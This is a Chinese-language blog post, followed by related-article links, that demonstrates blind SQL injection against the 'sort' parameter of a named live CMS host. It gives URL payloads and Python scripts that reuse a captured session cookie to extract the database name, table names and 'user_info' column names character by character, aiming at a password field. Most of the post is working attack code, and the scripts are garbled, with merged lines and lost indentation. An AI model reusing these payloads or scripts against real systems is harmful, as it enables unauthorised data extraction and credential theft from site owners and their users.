python sql注入脚本_python辅助sql手工注入猜解数据库案例分析
发现存在sql注入漏洞
简单一点可以直接用sqlmap工具暴库
但是如果想深入理解sql注入的原理,可以尝试手工注入,配合python脚本实现手工猜解数据库
首先hachbar开启
获取cms登录后的sessionid值
开始构造sql payload
获取数据库名的长度:
page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN (length(database())=8) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&order=desc
手工猜解需要从1往后遍历,当为8时,猜解成功
做sql手工注入的,主要是这个猜解的过程比较麻烦,大量的重复工作,所以需要做成python自动化
实现脚本如下:
# -*- encoding:utf-8 -*-#user()
#database()
import requests
cookies={'SESSION': 'dacee233-9fc0-442b-8948-8c276005d7c2'}string = ''
for i in range(1,300):
url='http://yucms.hhlyty.cn/finance/account/accountList'body= {'page': '1','rows': '15','order': 'desc','sort': 'CREATE_DATE,(SELECT (CASE WHEN (length(database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} #获取数据库名长度
#body= {'page': '1', 'rows': '15', 'order': 'desc','sort': '(SELECT (CASE WHEN ((select count(*) from information_schema.tables where table_schema =database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} #获取数据库中表的个数
#body= {'page': '1', 'rows': '15', 'order': 'desc','sort': '(SELECT (CASE WHEN ((select count(*) from information_schema.tables where table_schema =database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} # 获取数据库中表的个数
rs= requests.request("POST", url, cookies=cookies, params=body)
content=rs.content
length=len(content)
#print lengthif length == 9459:
print ("数据库长度为:%d" %i)
print(rs.text)
#string +=j
#break# printstring#print(rs.text)
猜解数据库完整的名字
payload
page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN (substr(database(),1,1)=char(71)) THEN 1 ELSE 2302*(SELECT 2302 FROM INFORMATION_SCHEMA.TABLES) END))&order=desc
substr(database(),1,1 ,第一个1,表示字符串的第几位,第二个1,表示截取一位,这样,就可以逐字符猜解
# -*- encoding:utf-8 -*-import requests
cookies={'SESSION': 'dacee233-9fc0-442b-8948-8c276005d7c2'}
#dic1='3_abcdefghijklmnopqrstuvwxyz'dic="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_^~]}\|[{?>=
for i in range(1,92):
# leng= len(string)
#if leng == 8:for j indic:
#leng= len(string)#if leng == 8:#m=str(ord(j))
#print (m)
m=j
url='http://yucms.hhlyty.cn/finance/account/accountList'body= {'page': '1','rows': '15','order': 'desc','sort': '(SELECT (CASE WHEN (substr(database(),{0},1)=char({1})) THEN 1 ELSE 2302*(SELECT 2302 FROM INFORMATION_SCHEMA.TABLES) END))'.format((i),ord(m))}
rs= requests.request("POST", url, cookies=cookies, params=body)
content=rs.content
length=len(content)
#print (j)
print (body)
#print lengthif length == 9459:
print ("数据库第%d个字符是:%s:" %(i, j))
m=str(ord(j))string +=j
i=i+1print (m)
print (i)
# n=','# m+=n
# print (m)breakprint ("数据库是:%s" % string)
#breakprint (i)
# print ("数据库第%d个字符是:%s:" %(i,j))
# print ("数据库是:%s" % string)
#if length == 9459:
# print ("数据库长度为:%d" %i)
# print(rs.text)
#string +=j
#break# printstring#print(rs.text)
猜解表名:
1.猜解第204张表名的长度:
page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN ((select length(table_name) from information_schema.tables where table_schema=database() limit 204,1)=9) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)
)&order=desc
# -*- encoding:utf-8 -*-#user()
#database()
import requests
cookies={'SESSION': 'dacee233-9fc0-442b-8948-8c276005d7c2'}string = ''
for i in range(1,300):
url='http://yucms.hhlyty.cn/finance/account/accountList'#body= {'page': '1','rows': '15','order': 'desc','sort': 'CREATE_DATE,(SELECT (CASE WHEN (length(database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} #获取数据库名长度
#body= {'page': '1', 'rows': '15', 'order': 'desc','sort': '(SELECT (CASE WHEN ((select count(*) from information_schema.tables where table_schema =database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} #获取数据库中表的个数
#body= {'page': '1', 'rows': '15', 'order': 'desc','sort': '(SELECT (CASE WHEN ((select count(*) from information_schema.tables where table_schema =database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} # 获取数据库中表的个数
# body= {'page': '1', 'rows': '15', 'order': 'desc','sort': '(SELECT (CASE WHEN ((select count(*) from information_schema.tables where table_schema =database())={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} # 获取数据库中表的个数
body= {'page': '1', 'rows': '15', 'order': 'desc','sort': '(SELECT (CASE WHEN ((select length(table_name) from information_schema.tables where table_schema=database() limit 204,1)={0}) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))'.format(i)} # 获取数据库中第204张表名的长度
rs= requests.request("POST", url, cookies=cookies, params=body)
content=rs.content
length=len(content)
#print lengthif length == 9459:
print ("数据库长度为:%d" %i)
print(rs.text)
#string +=j
#break# printstring#print(rs.text)
page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN ((select ascii((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 204,1)))=117) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&order=desc
1表示表名的第一个字符
204表示数据库中的第204张表
117表示第一个字符的ascii编码
猜解列名:
1.首先猜测表中字段的个数
page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN ((select count(*) from information_schema.columns where table_schema=database() and table_name='user_info')=36) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&order=desc
2.逐个字段猜解:
猜解密码字段:
猜解第204张表user_info表第一个字段的长度:
page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN ((select length(column_name) from information_schema.columns where table_schema=database() and table_name='user_info' limit 1,1)=7) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&order=desc
猜解第一个列名的长度:
猜解字段名字:
page=1&rows=15&sort=CREATE_DATE,(SELECT (CASE WHEN ((select ascii((select substr(column_name,1,1) from information_schema.columns where table_schema=database() and table_name='user_info' limit 1,1)))=85) THEN 9441 ELSE 9441*(SELECT 9441 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&order=desc
猜解字段名的第一个字符为85
python sql注入脚本_python辅助sql手工注入猜解数据库案例分析相关推荐
- python编程思维代码_Python编程快速上手——强口令检测算法案例分析
本文实例讲述了Python强口令检测算法.分享给大家供大家参考,具体如下: 强口令检测 题目如下: 写一个函数,它使用正则表达式,确保传入的口令字符串是强口令.强口令定义:长度不少于8个字符,同时包含 ...
- 一条标准SQL语句是怎么执行之“步步惊心”过程详解与案例分析
SQL逻辑执行过程详解(限标准SQL) 表与数据 -- 1 创建 HR.Employees表 CREATE TABLE HR.Employees (empid INT NOT NULL IDENTIT ...
- 01_SQL注入_Mysql注入利用联合查询的手工注入
01_SQL注入_Mysql注入:利用联合查询的手工注入 1.SQL注入的成因 [严正声明]仅供学习,勿做他用!!! [严正声明]仅供学习,勿做他用!!! [严正声明]仅供学习,勿做他用!!! 遵纪守 ...
- mysql 手工sql注入_【sql注入专题02】Mysql手工注入流程
0x00 SQL注入的语句介绍 SQL注入的本质 sql注入的本质就是查询某个数据库下的某个表中的某些字段的内容,比如我们平时在数据库查询一条数据时操作. mysql> use security ...
- SQL注入实战————1、MySQL手工注入实战
无意中发现了一个巨牛巨牛的人工智能教程,忍不住分享一下给大家.教程不仅是零基础,通俗易懂,小白也能学,而且非常风趣幽默,还时不时有内涵段子,像看小说一样,哈哈-我正在学习中,觉得太牛了,所以分享给大家 ...
- python ddos攻击脚本_python版本DDOS攻击脚本
今天为了休息下,换换脑子,于是就找到了我之前收藏的一篇python的文章,是关于ddos攻击的一个脚本,正好今天有空,就实践下了. 附上源码pyDdos.py:#!/usr/bin/env pytho ...
- python编程加减法_python编程题之二进制加减法运算的案例分析
python编程题之二进制加减法运算的案例分析 发布时间:2020-10-27 09:24:11 来源:亿速云 阅读:62 作者:小新 小编给大家分享一下python编程题之二进制加减法运算的案例分析 ...
- Python之网络爬虫(selenium爬取动态网页、爬虫案例分析、哈希算法与RSA加密)
文章目录 一.selenium爬取动态网页 二.爬虫案例分析 三.哈希hash算法与RSA加密 一.selenium爬取动态网页 1.动态网页认知 爬虫其实就是在模仿浏览器的行为 应对要多次数据的交互 ...
- python sql注入脚本_python打造一个分析网站SQL注入的脚本
1 importrequests,re,time,os2 from tqdm importtqdm3 from bs4 importBeautifulSoup4 defzhuru():5 global ...
最新文章
- python—Celery异步分布式
- python读什么英文-Python编程但英语差,能用中文吗?
- bzoj 3365: [Usaco2004 Feb]Distance Statistics 路程统计【容斥原理+点分治】
- SAP S/4HANA Layer Repository(LREP)的读取逻辑调试
- 289B. Polo the Penguin and Matrix
- Spring的任务调度@Scheduled注解——task:scheduler和task:executor的解析
- PDE抛物型方程数值解法总结与例题分析
- 前端date format_前端面试-手撕代码篇
- xgboost的原理没你想像的那么难
- 学习遗忘曲线_级联相关,被遗忘的学习架构
- CGLIB实现AOP,MethodInterceptor接口和Enhancer详解——Spring AOP(四)
- 20个有用正则表达式
- 什么是蒙特卡罗仿真?
- nanomsg 高性能通信库_NanoMsg框架|C#中Nanomsg的PAIR和BUS使用
- Linux加密框架中的算法和算法模式(2)——模式介绍
- 一年365天,把1.0作为每天的能力值基础,每天原地踏步 则能力值为1.0,如果每天努力一点点则能力值提高1%,每天再努力一点则能力值提高2%,那一年后,这3种行为收获的成果相差多少呢?
- 解决Win7的一个毛病——睡眠失效(只关闭显示器,不关主机)
- Fabric - chaincode开发模式
- 关于卷积神经网络细节的深入理解
- 关于App的数据统计和分析